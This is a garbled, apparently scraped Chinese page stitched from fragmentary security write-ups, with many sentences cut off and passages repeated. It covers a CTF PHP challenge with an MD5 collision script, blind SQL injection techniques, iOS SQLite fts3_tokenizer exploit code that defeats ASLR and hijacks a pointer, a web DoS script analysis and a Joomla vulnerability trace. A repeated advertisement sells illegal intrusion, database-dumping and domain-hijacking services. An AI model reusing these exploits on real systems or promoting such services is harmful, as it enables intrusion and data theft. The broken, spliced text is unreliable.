即使没有远程代码执行 (RCE),并且已经掌握了有关系统的所有枚举信息,我们也决定解决 md5 碰撞问题,开始攻击登录系统。
所以,他们
这段代码存储在
如果系统返回,则
MD5 前 5 个字节哈希碰撞生成器
我们迅速编写了这段代码来获取有效的碰撞检测结果。
获取系统访问权限
现在,利用预先生成的代码,
好的,已登录。
浏览网页应用程序功能时,我们可以发布一些内容,并将
除非你
如您所见,此标志启用了文件发送选项,这是获取 RCE 的好方法。
如何设置 is_admin=1?
如果登录/注册 POST 请求来自正确的 IP 地址,代码会将此标志设置为 1,我敢肯定它是正确的
该
尝试注入会话 cookie 代码
第一个想法是
现在 cookie 文件中存储了更多信息,但只有
此检查会阻止无效用户名。我们不能创建包含某些代码的新用户。
尝试 SQL 注入
所以,我们的下一个想法是检查是否存在 SQL 注入漏洞。
查询语句非常简单,Db() 控制器没有正确地进行过滤。但代码本身没有问题。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
所以,他们
user.php~泄露了所有登录过程的详细信息。if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])要破解注册/登录凭证检查功能,必须将代码拆分成多个部分来解决。这段代码存储在
session cookie我们泄露内容但(目前)无法控制的地方。如果系统返回,则
Invalid user name表示我们已发送正确的内容code。MD5 前 5 个字节哈希碰撞生成器
我们迅速编写了这段代码来获取有效的碰撞检测结果。
<?php
## MD5 first 5 bytes hash collision generator - solution to easy_php @ N1CTF2018
# solved by intrd & shrimpgo - p4f team
## 1st create a wordlist: crunch 4 4 1234567890abcdefghijklmnopqrstuvwxyz_ -o file.txt
$_SESSION['code']=$argv["1"];
echo "** searching for: ".$_SESSION['code']."\n";
if ($file = fopen("file.txt", "r")) {
while(!feof($file)) {
$line = trim(fgets($file));
$_POST['code'] = $line;
if(substr(md5($_POST['code']),0, 5)===$_SESSION['code']){
echo "yeah!\n".md5($line);
echo ":\n".$line."\n";
die();
}
}
fclose($file);
}
?>
获取系统访问权限
现在,利用预先生成的代码,
aklhic我们可以创建一个正在浏览的新用户。http://47.97.221.96:23333/index.php?action=register好的,已登录。
浏览网页应用程序功能时,我们可以发布一些内容,并将
Allow different ip to login标志设置为当前用户。仅此而已。除非你
is_admin=1在 cookie 中设置了该标志,否则不会有其他操作。如您所见,此标志启用了文件发送选项,这是获取 RCE 的好方法。
如何设置 is_admin=1?
如果登录/注册 POST 请求来自正确的 IP 地址,代码会将此标志设置为 1,我敢肯定它是正确的
127.0.0.1。该
get_ip()函数严格读取该值REMOTE_ADDR,我认为我无法伪造该值。尝试注入会话 cookie 代码
第一个想法是
<?php code ?>在 cookie 会话文件中注入一些东西,我可以从 LFI 启动它。现在 cookie 文件中存储了更多信息,但只有
username我可以控制这些信息。而且这些信息都经过了适当的过滤。此检查会阻止无效用户名。我们不能创建包含某些代码的新用户。
尝试 SQL 注入
所以,我们的下一个想法是检查是否存在 SQL 注入漏洞。
查询语句非常简单,Db() 控制器没有正确地进行过滤。但代码本身没有问题。
(int)有时它会在发送查询之前转换数据类型,这会破坏我们的 SQL 注入尝试。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
通常情况下获取到数据库名,表名,字段名后,就可以直接查询数据了,但是之前遇到一个场景就是过滤了字符处理函数和字段名,从而导致无法直接获取该字段的内容。场景伪代码如下图所示,通过username字段回显数据,这里我们需要获取password的内容,但是password在filter函数中被过滤了:
下面介绍两种方法在过滤字段名时获取该字段数据。
第一种方法:不适用字段获取数据
原理就是利用虚表e,获取虚表e的第三列数据,在通过便宜获取一个内容,最后将此内容返回到username的位置,最后回显出来。
第二种方法:盲注法
我们来看一个例子:
可以看到,当我们使用order by 3 desc对第三列进行排序的时候,当我们在union里面select的内容不同时,返回的内容也不一样,原因是因为MySQL的字符串排序是从左往右一一使用字符串的ASCII码进行对比。
当我们union select 0x32时回显的username字段内容应该时2,当我们unionselect 0x31和0x30时,username字段内容应该时admin,所以这个时候我们能确定,0x31应该是跟我们需要查询的password的第一个字符的ASCII码值是相等的,从而可以编写脚本一位一位爆破出password的内容:
最后将ASCII码转换成字符串就是我们想获取的字段内容。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
下面介绍两种方法在过滤字段名时获取该字段数据。
第一种方法:不适用字段获取数据
原理就是利用虚表e,获取虚表e的第三列数据,在通过便宜获取一个内容,最后将此内容返回到username的位置,最后回显出来。
第二种方法:盲注法
我们来看一个例子:
可以看到,当我们使用order by 3 desc对第三列进行排序的时候,当我们在union里面select的内容不同时,返回的内容也不一样,原因是因为MySQL的字符串排序是从左往右一一使用字符串的ASCII码进行对比。
当我们union select 0x32时回显的username字段内容应该时2,当我们unionselect 0x31和0x30时,username字段内容应该时admin,所以这个时候我们能确定,0x31应该是跟我们需要查询的password的第一个字符的ASCII码值是相等的,从而可以编写脚本一位一位爆破出password的内容:
最后将ASCII码转换成字符串就是我们想获取的字段内容。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
如果攻击者提供的字符串被连接到 SQL 查询语句中,则可能发生针对 SQLite 数据库的 SQL 注入攻击。这可能会导致数据库中的敏感信息泄露或注入恶意代码。
错误示例:
正确示例:
更糟糕的是,iOS 中的 libsqlite3.dylib 支持的
第一个函数可以被滥用,泄露 libsqlite3.dylib 的基地址,从而破坏 ASLR。
如果提供了第二个参数,它会注册一个新的分词器,该参数是虚函数表的地址。这将通过 SQLite3 回调函数执行本地代码:
事故信息:
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
审计提示:检查是否存在对
sqlite3_exec()未预编译 SQL 函数的调用。
sqlite3_prepare*()应使用预编译函数。
错误示例:
NSString *uid = [myHTTPConnection getUID];
NSString *statement = [NSString StringWithFormat:@"SELECT username FROM users
where uid = '%@'",uid];
const char *sql = [statement UTF8String];
正确示例:
const char *sql = "SELECT username FROM users where uid = ?";
sqlite3_prepare_v2(db, sql, -1, &selectUid, NULL);
sqlite3_bind_int(selectUid, 1, uid);
int status = sqlite3_step(selectUid);
更糟糕的是,iOS 中的 libsqlite3.dylib 支持的
fts3_tokenizer函数本身就存在两个安全问题。这个 SQL 函数有两个原型:SELECT fts3_tokenizer(<tokenizer-name>);
SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>);
第一个函数可以被滥用,泄露 libsqlite3.dylib 的基地址,从而破坏 ASLR。
FMResultSet *s = [db executeQuery:@"SELECT hex(fts3_tokenizer('simple')) as fts;"];
while ([s next]) {
NSString *val = [s stringForColumn:@"fts"];
NSLog(@"val: %@", val); // the address of simpleTokenizerModule in libsqlite3.dylib, in big endian
}如果提供了第二个参数,它会注册一个新的分词器,该参数是虚函数表的地址。这将通过 SQLite3 回调函数执行本地代码:
[db executeUpdate:@"select fts3_tokenizer('simple', x'4141414141414141');"]; // a fake virtual table
[db executeUpdate:@"drop table a if exists;"]; // in case the virtual table already extst
FMResultSet *result = [db executeQuery:@"create virtual table a using fts3;"];
NSLog(@"%d", [result next]); // trigger pointer dereference事故信息:
thread #1: tid = 0x19ac77, 0x0000000184530764 libsqlite3.dylib`___lldb_unnamed_symbol1073$$libsqlite3.dylib + 1500, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x4141414141414149)
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
先看一下主体调用函数部分,实际就是调用JavaScript函数方法。从description也可以看出来就是调用了target,然后输入最大的目录深度和请求次数。
再看一下函数定义,除去最后校验网站服务是否处于存活状态的isServerAlive()和几个辅助方法以外,关键的方法定义也就是testTheTarget()这个关键的方法。
首先看一个全局定义,定义一个临时值tempValue,循环输出长度为4001的A字母长字符串。
然后对这4001长度的个A字母长字符串做一个处理,最终目的是转化成带有关键词“~”加上一个1-9任意数字(例如“~2”)的的搜索url请求payload。我这边直接加入了console.log()输出,更加直白。
正式开始攻击的时候,则是利用了一个类img标签,这是一个经常被用来做XSS DDoS攻击利用的标签,然后通过对reponse的耗时读取来分析网站的存活性。但是为什么这里说是“类img标签”,因为这里用了一个createElement()的实验属性用法,一个类似customElement的新标签自定义方法,跟上一个数字来判断第几次发送请求。irsdl定义了一个时间规则来判断网站存活性,msec<100*requestNumber+5000,我们也可以修改这个时间规则进行判断。
再回到最初始的现象,everything为什么会在calc.exe出现在屏幕时才会奔溃呢?我觉得这边可能是everything自身工作逻辑的缘故,由于everything本身功能就很消耗资源,它可能把文件资源作为一个类键值关系只是写入了自身的数据库,真的要去读取时才会去调用Windows资源管理器的搜索功能,所以才出现“桌面渲染DoS”的现象。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
再看一下函数定义,除去最后校验网站服务是否处于存活状态的isServerAlive()和几个辅助方法以外,关键的方法定义也就是testTheTarget()这个关键的方法。
首先看一个全局定义,定义一个临时值tempValue,循环输出长度为4001的A字母长字符串。
然后对这4001长度的个A字母长字符串做一个处理,最终目的是转化成带有关键词“~”加上一个1-9任意数字(例如“~2”)的的搜索url请求payload。我这边直接加入了console.log()输出,更加直白。
正式开始攻击的时候,则是利用了一个类img标签,这是一个经常被用来做XSS DDoS攻击利用的标签,然后通过对reponse的耗时读取来分析网站的存活性。但是为什么这里说是“类img标签”,因为这里用了一个createElement()的实验属性用法,一个类似customElement的新标签自定义方法,跟上一个数字来判断第几次发送请求。irsdl定义了一个时间规则来判断网站存活性,msec<100*requestNumber+5000,我们也可以修改这个时间规则进行判断。
再回到最初始的现象,everything为什么会在calc.exe出现在屏幕时才会奔溃呢?我觉得这边可能是everything自身工作逻辑的缘故,由于everything本身功能就很消耗资源,它可能把文件资源作为一个类键值关系只是写入了自身的数据库,真的要去读取时才会去调用Windows资源管理器的搜索功能,所以才出现“桌面渲染DoS”的现象。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
escape是将GPR中的单引号、圆括号转换成中文符号,反斜线进行转义;arg是获取用户输入的
全局没其他值得注意的地方了,所以开始看controller的代码。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
$_REQUEST或$_SERVER。显然,这里$_SERVER变量没有经过转义,先记下这个点。全局没其他值得注意的地方了,所以开始看controller的代码。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
首先我们得知在会员修改资料处
上面复现抓包时候可以看到URL:
最后找到代码文件:
最后发现第五行代码调用是在:
可以看到下图,的确是打印出来。由此可以猜测这个地方是正确的获取数据处。
然后接下来的部分代码都是在处理这些参数,所以都省略了。
继续看到
最后追踪发现在
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
admin_style 参数产生的漏洞,先来分析一下数据存储的情况上面复现抓包时候可以看到URL:
/joomla/administrator/index.php?option=com_admin&view=profile&layout=edit&id=5最后找到代码文件:
/administrator/components/com_admin/controllers/profile.phppublic function save($key = null, $urlVar = null)
{ $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false));$return = parent::save();//这行代码看上去非常像是保存数据的地方。我们追这个代码在哪。
if ($this->getTask() != 'apply')
{// Redirect to the main page.
$this->setRedirect(JRoute::_('index.php', false));}
return $return;
}
最后发现第五行代码调用是在:
/libraries/src/MVC/Controller/FormController.php文件处$data = $this->input->post->get('jform', array(), 'array'); 这里是获取POST请求的数据。在代码上打印下。看下是不是真的在这。可以看到下图,的确是打印出来。由此可以猜测这个地方是正确的获取数据处。
然后接下来的部分代码都是在处理这些参数,所以都省略了。
继续看到
!$model->save($validData),这里将一些处理好的数据传到了 $model->save() 中,跟下这方法后发现代码在:/administrator/components/com_admin/models/profile.php 处最后追踪发现在
/libraries/joomla/database/driver.php 的 updateObject 方法将数据插入进了数据库渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM